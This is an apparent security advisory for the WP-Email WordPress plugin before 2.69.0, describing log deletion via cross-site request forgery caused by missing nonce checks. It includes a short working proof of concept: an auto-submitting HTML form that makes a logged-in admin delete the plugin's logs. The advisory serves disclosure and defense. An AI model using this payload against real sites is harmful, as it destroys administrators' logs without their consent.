WP-Email < 2.69.0 - Log Deletion via CSRF

2022-05-3000:00:00

Daniel Ruf

0.001 Low

EPSS

Percentile

26.3%

JSON

The plugin does not protect its log deletion functionality with nonce checks, allowing attacker to make a logged in admin delete logs via a CSRF attack

<form id="test" action="https://example.com/wp-admin/admin.php?page=wp-email/email-manager.php" method="POST">
    <input type="text" name="delete_logs_yes" value="yes">
    <input type="text" name="delete_logs" value="Delete">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

26.3%

JSON

Related for WPEX-ID:178D0C49-3A93-4948-8734-F3D7518361B3